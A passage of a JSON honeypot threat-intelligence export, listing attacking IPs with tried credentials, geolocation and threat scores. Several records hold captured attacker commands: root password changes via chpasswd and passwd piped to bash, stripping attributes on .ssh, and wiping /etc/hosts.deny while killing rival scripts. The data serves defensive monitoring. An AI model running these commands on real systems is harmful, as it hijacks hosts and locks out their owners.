        "echo -e \"1234\\nHija4ZXGFTcE\\nHija4ZXGFTcE\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": null,
      "asn": 136565,
      "as_org": "CyberWorld",
      "threat_score": 24.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 184,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-22T08:39:33.837000+00:00",
        "last_seen_30d": "2026-03-22T09:15:44.935000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 144,
        "Suricata": 40
      }
    },
    "196.92.7.249": {
      "attack_count": 133,
      "first_seen": "2026-03-26T19:05:35.324Z",
      "last_seen": "2026-03-26T19:19:49.457Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "student5",
        "pzuser"
      ],
      "passwords_attempted": [
        "12345",
        "123456",
        "3245gs5662d34"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123456\\nyBzNiPB70KDx\\nyBzNiPB70KDx\\n\"|passwd",
        "echo \"12345\\nWIyZlPa8kKlm\\nWIyZlPa8kKlm\\n\"|passwd",
        "echo -e \"123456\\nyBzNiPB70KDx\\nyBzNiPB70KDx\"|passwd|bash",
        "echo -e \"12345\\nWIyZlPa8kKlm\\nWIyZlPa8kKlm\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Morocco",
      "country_code": "MA",
      "city": "Casablanca",
      "asn": 6713,
      "as_org": "Itissalat Al-MAGHRIB",
      "threat_score": 28.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 141,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T19:05:35.324000+00:00",
        "last_seen_30d": "2026-03-26T19:20:53.958000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 133,
        "Suricata": 8
      }
    },
    "172.172.214.224": {
      "attack_count": 117,
      "first_seen": "2026-03-11T09:53:56.809Z",
      "last_seen": "2026-03-11T10:42:56.099Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ayoub",
        "friend",
        "innova",
        "john",
        "mehedi",
        "newusername",
        "roots",
        "user1"
      ],
      "passwords_attempted": [
        "12345",
        "123456",
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "innova123",
        "matrix",
        "mehedi123",
        "password123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:jesxueDQiWWh\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 11.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 148,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T09:53:56.809000+00:00",
        "last_seen_30d": "2026-03-11T10:44:05.072000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 117,
        "Suricata": 31
      }
    },
    "150.230.35.95": {
      "attack_count": 98,
      "first_seen": "2026-03-31T15:05:50.361Z",
      "last_seen": "2026-03-31T15:54:28.166Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "123456qq@",
        "3245gs5662d34",
        "345gs5662d34",
        "PASSW0RD2024",
        "fang123456",
        "mojo",
        "suna",
        "vicecity"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:FlybeQ8NDJiH\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "San Jose",
      "asn": 31898,
      "as_org": "Oracle Corporation",
      "threat_score": 33.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 120,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-31T15:05:50.361000+00:00",
        "last_seen_30d": "2026-03-31T15:55:33.792000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 98,
        "Suricata": 22
      }
    },
    "91.107.145.224": {
      "attack_count": 94,
      "first_seen": "2026-03-26T10:06:24.796Z",
      "last_seen": "2026-03-26T10:15:33.761Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "almacen",
        "345gs5662d34",
        "ai",
        "in",
        "mgmt",
        "yocto"
      ],
      "passwords_attempted": [
        "12345",
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "almacen123",
        "in123!",
        "yocto123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"almacen123\\npi0PVKXuzgMG\\npi0PVKXuzgMG\\n\"|passwd",
        "echo -e \"almacen123\\npi0PVKXuzgMG\\npi0PVKXuzgMG\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Nuremberg",
      "asn": 24940,
      "as_org": "Hetzner Online GmbH",
      "threat_score": 27.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 110,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T10:06:24.796000+00:00",
        "last_seen_30d": "2026-03-26T10:16:36.017000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 94,
        "Suricata": 16
      }
    },
    "95.63.176.27": {
      "attack_count": 86,
      "first_seen": "2026-03-15T16:25:31.295Z",
      "last_seen": "2026-03-15T16:45:54.542Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "dls",
        "root",
        "usuarioftp",
        "contab",
        "hosting",
        "new",
        "personal",
        "roman",
        "travis"
      ],
      "passwords_attempted": [
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "Personal123",
        "a",
        "daniel123",
        "dls123",
        "password",
        "roman1234",
        "travis"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "Spain",
      "country_code": "ES",
      "city": "Alicante",
      "asn": 12430,
      "as_org": "Vodafone Spain",
      "threat_score": 15.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 118,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T16:25:31.295000+00:00",
        "last_seen_30d": "2026-03-15T16:46:57.690000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 86,
        "Suricata": 32
      }
    },
    "116.196.76.173": {
      "attack_count": 53,
      "first_seen": "2026-03-23T23:13:02.761Z",
      "last_seen": "2026-03-23T23:35:58.047Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [
        "root",
        "maks",
        "dls",
        "prashant"
      ],
      "passwords_attempted": [
        "12345",
        "12345678",
        "3245gs5662d34",
        "Aa147258!",
        "Abc@123123",
        "Test.123",
        "password"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.session.params",
        "cowrie.log.closed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4808,
      "as_org": "China Unicom Beijing Province Network",
      "threat_score": 23.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 75,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-23T23:13:02.761000+00:00",
        "last_seen_30d": "2026-03-23T23:40:44.987000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 53,
        "Suricata": 22
      }
    },
    "124.29.194.184": {
      "attack_count": 50,
      "first_seen": "2026-03-31T00:18:43.928Z",
      "last_seen": "2026-03-31T00:24:08.361Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Karachi",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 31.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-31T00:18:43.928000+00:00",
        "last_seen_30d": "2026-03-31T00:25:08.924000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "206.135.174.73": {
      "attack_count": 50,
      "first_seen": "2026-03-15T22:16:51.659Z",
      "last_seen": "2026-03-15T22:22:16.106Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Sialkot",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 14.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T22:16:51.659000+00:00",
        "last_seen_30d": "2026-03-15T22:23:26.073000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "170.64.141.66": {
      "attack_count": 35,
      "first_seen": "2026-03-02T20:29:04.585Z",
      "last_seen": "2026-03-02T20:38:25.706Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "123qwe",
        "123qwerty",
        "21",
        "321",
        "4321"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.input",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 3.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 50,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T20:29:04.585000+00:00",
        "last_seen_30d": "2026-03-02T20:39:29.508000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 35,
        "Suricata": 15
      }
    },
    "222.140.172.115": {
      "attack_count": 30,
      "first_seen": "2026-03-02T15:16:28.328Z",
      "last_seen": "2026-03-02T15:19:42.829Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 46,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T15:16:28.328000+00:00",
        "last_seen_30d": "2026-03-02T15:20:43.502000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 30,
        "Suricata": 16
      }
    },
    "64.226.84.60": {
      "attack_count": 25,
      "first_seen": "2026-03-03T08:57:53.912Z",
      "last_seen": "2026-03-03T09:00:16.064Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "1",
        "12",
        "root"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 3.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.2,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 42,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-03T08:57:37.165000+00:00",
        "last_seen_30d": "2026-03-03T14:19:08.564000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 25,
        "Suricata": 15,
        "Honeytrap": 2
      }
    },
    "39.81.43.185": {
      "attack_count": 24,
      "first_seen": "2026-03-28T13:23:29.497Z",
      "last_seen": "2026-03-28T13:26:04.939Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 25.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 15.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 37,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-28T13:23:29.497000+00:00",
        "last_seen_30d": "2026-03-28T13:27:10.362000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 24,
        "Suricata": 13
      }
    },
    "64.62.197.182": {
      "attack_count": 21,
      "first_seen": "2026-03-04T11:20:23.878Z",
      "last_seen": "2026-03-23T02:07:33.582Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "Accept-Encoding: gzip",
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36",
        "User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:143.0) Gecko/20100101 Firefox/143.0"
      ],
      "passwords_attempted": [
        "",
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 95.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 25.3,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 336,
        "days_active_30d": 30,
        "ports_targeted_30d": 91,
        "honeypots_triggered_30d": 9,
        "first_seen_30d": "2026-03-02T01:42:49+00:00",
        "last_seen_30d": "2026-03-31T06:56:06.769000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 191,
        "Honeytrap": 102,
        "Cowrie": 21,
        "Miniprint": 8,
        "Dionaea": 7,
        "Tanner": 3,
        "Adbhoney": 2,
        "CitrixHoneypot": 1,
        "Honeyaml": 1
      }
    },
    "101.47.161.84": {
      "attack_count": 20,
      "first_seen": "2026-03-26T07:59:43.949Z",
      "last_seen": "2026-03-26T08:11:44.846Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "apm",
        "backup1",
        "cert",
        "root"
      ],
      "passwords_attempted": [
        "123456",
        "apm123",
        "backup1",
        "xxxxxx"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 150436,
      "as_org": "Byteplus Pte. Ltd.",
      "threat_score": 23.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 30,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T07:59:43.949000+00:00",
        "last_seen_30d": "2026-03-26T08:12:47.691000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 10
      }
    },
    "125.124.42.183": {
      "attack_count": 20,
      "first_seen": "2026-03-28T10:51:05.170Z",
      "last_seen": "2026-03-29T00:01:07.469Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "Admin,123",
        "hasan",
        "password123$",
        "w1234567"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 58461,
      "as_org": "CT-HangZhou-IDC",
      "threat_score": 26.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 15.1,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 32,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-28T10:51:05.170000+00:00",
        "last_seen_30d": "2026-03-29T00:11:08.643000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 12
      }
    },
    "154.193.217.69": {
      "attack_count": 20,
      "first_seen": "2026-03-02T04:36:35.781Z",
      "last_seen": "2026-03-02T04:37:57.598Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "------fuck------",
        "AHdianxin@2024",
        "Teste@123"
      ],
      "commands_executed": [
        "uname -s -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Seychelles",
      "country_code": "SC",
      "city": null,
      "asn": 400619,
      "as_org": "AROSSCLOUD INC.",
      "threat_score": 2.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 29,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T04:36:35.781000+00:00",
        "last_seen_30d": "2026-03-02T04:39:04.504000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 9
      }
    },
    "38.188.160.172": {
      "attack_count": 20,
      "first_seen": "2026-03-10T23:22:20.793Z",
      "last_seen": "2026-03-11T00:29:24.935Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "180288",
        "4",
        "barcelone1",
        "ronan"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo",
      "asn": 273113,
      "as_org": "ONERED JWG532 SRL",
      "threat_score": 9.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.1,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 32,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T23:22:20.793000+00:00",
        "last_seen_30d": "2026-03-11T00:30:29.955000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 12
      }
    },
    "216.180.246.3": {
      "attack_count": 19,
      "first_seen": "2026-03-23T00:50:31.466Z",
      "last_seen": "2026-03-23T01:13:19.697Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 52.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 22.6,
        "persistence": 9.2,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 180,
        "days_active_30d": 11,
        "ports_targeted_30d": 10,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-13T15:33:36+00:00",
        "last_seen_30d": "2026-03-23T01:23:28.096000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 109,
        "Honeytrap": 32,
        "Dionaea": 20,
        "Cowrie": 19
      }
    },
    "121.28.170.66": {
      "attack_count": 15,
      "first_seen": "2026-03-20T01:52:27.577Z",
      "last_seen": "2026-03-20T01:52:33.464Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "------fuck------",
        "root123456"
      ],
      "commands_executed": [
        "uname -s -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 30.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.8,
        "persistence": 5.0,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 24,
        "days_active_30d": 6,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-20T01:52:27.577000+00:00",
